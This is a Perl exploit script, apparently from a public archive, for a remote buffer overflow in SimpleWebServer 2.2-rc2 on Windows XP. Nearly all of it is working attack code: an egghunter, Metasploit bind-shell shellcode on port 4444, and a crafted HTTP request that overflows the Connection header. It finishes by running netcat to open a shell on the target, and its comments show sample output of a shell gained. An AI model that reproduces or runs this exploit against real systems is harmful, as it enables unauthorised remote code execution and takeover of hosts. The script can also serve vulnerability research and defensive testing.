SimpleWebServer 2.2-rc2 Remote Buffer Overflow

`use IO::Socket;   
##############################################################################  
# Exploit Title: SimpleWebServer 2.2-rc2 - Remote Buffer Overflow Exploit  
# Date: 19/07/2012  
# Author: mr.pr0n (@_pr0n_)  
# Homepage: http://ghostinthelab.wordpress.com/  
# Software Link: http://www.pmx.it/download/sws-2.2-rc2-i686.exe  
# Version: 2.2 rc2  
# Tested on: Windows XP SP3  
##############################################################################  
# root@bt:~/Desktop# perl sws2_2-rc2_poc.pl 192.168.178.43 80  
# +---------------------------------------------------------------+   
# | Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit |   
# | mr.pr0n - http://ghostinthelab.wordpress.com |   
# +---------------------------------------------------------------+   
#   
# [+] Sending buffer (2104 bytes) to: 192.168.178.43:80   
# [+] Exploitation Done!  
# [+] Please, wait couple of sec ...  
# [+] Got shell?  
#   
# Microsoft Windows XP [Version 5.1.2600]  
# (C) Copyright 1985-2001 Microsoft Corp.  
#   
# C:\Program Files\PMSoftware\sws>  
##############################################################################  
print "+---------------------------------------------------------------+ \n";  
print "| Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit | \n";  
print "| mr.pr0n - http://ghostinthelab.wordpress.com | \n";  
print "+---------------------------------------------------------------+ \n";  
if (@ARGV != 2)  
{  
print "\n[-] Usage: $0 <target ip> <port> \n\n";  
exit();  
}  
  
$target = $ARGV[0]; # Target IP  
$port = $ARGV[1]; # Target port  
  
# The egghunter.  
$egghunter =  
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".  
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".  
"w00t". # The 4 byte tag!  
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";  
  
# MSF windows/shell_bind_tcp LPORT=4444  
$shellcode =  
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".  
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".  
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".  
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".  
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".  
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".  
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".  
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".  
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".  
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".  
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".  
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".  
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".  
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".  
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".  
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".  
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".  
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".  
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".  
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".  
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".  
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".  
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".  
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".  
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".  
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".  
"\x29\x6b\x60\x28\x23";  
  
$junk = "\x41" x (2048 - length("w00tw00t") - length($shellcode));  
$ret = pack('V',0x7C874413); # JMP ESP - kernel32.dll  
$nops = "\x90" x 20; # 20 nops.  
$exploit = $junk."w00tw00t".$shellcode.$ret.$nops.$egghunter;  
  
if ($socket = IO::Socket::INET->new  
(PeerAddr => $target,  
PeerPort => $port,  
Proto => "TCP"))  
{  
$header =  
"GET / HTTP/1.1\r\n".  
"Host: ".$target." \r\n".  
"Connection:".$exploit."\r\n";  
print "\n[+] Sending buffer (".(length($exploit))." bytes) to: $target:$port \n";  
print $socket $header."\r\n";  
sleep(1);  
close($socket);  
print "[+] Exploitation Done!\n";  
print "[+] Please, wait couple of sec ...\n";  
sleep(15);  
print "[+] Got shell?\n\n";  
$command = "nc $target 4444";  
system ($command);  
}  
  
else  
{  
print "[-] Connection to $target failed!\n";  
}  
  
  
`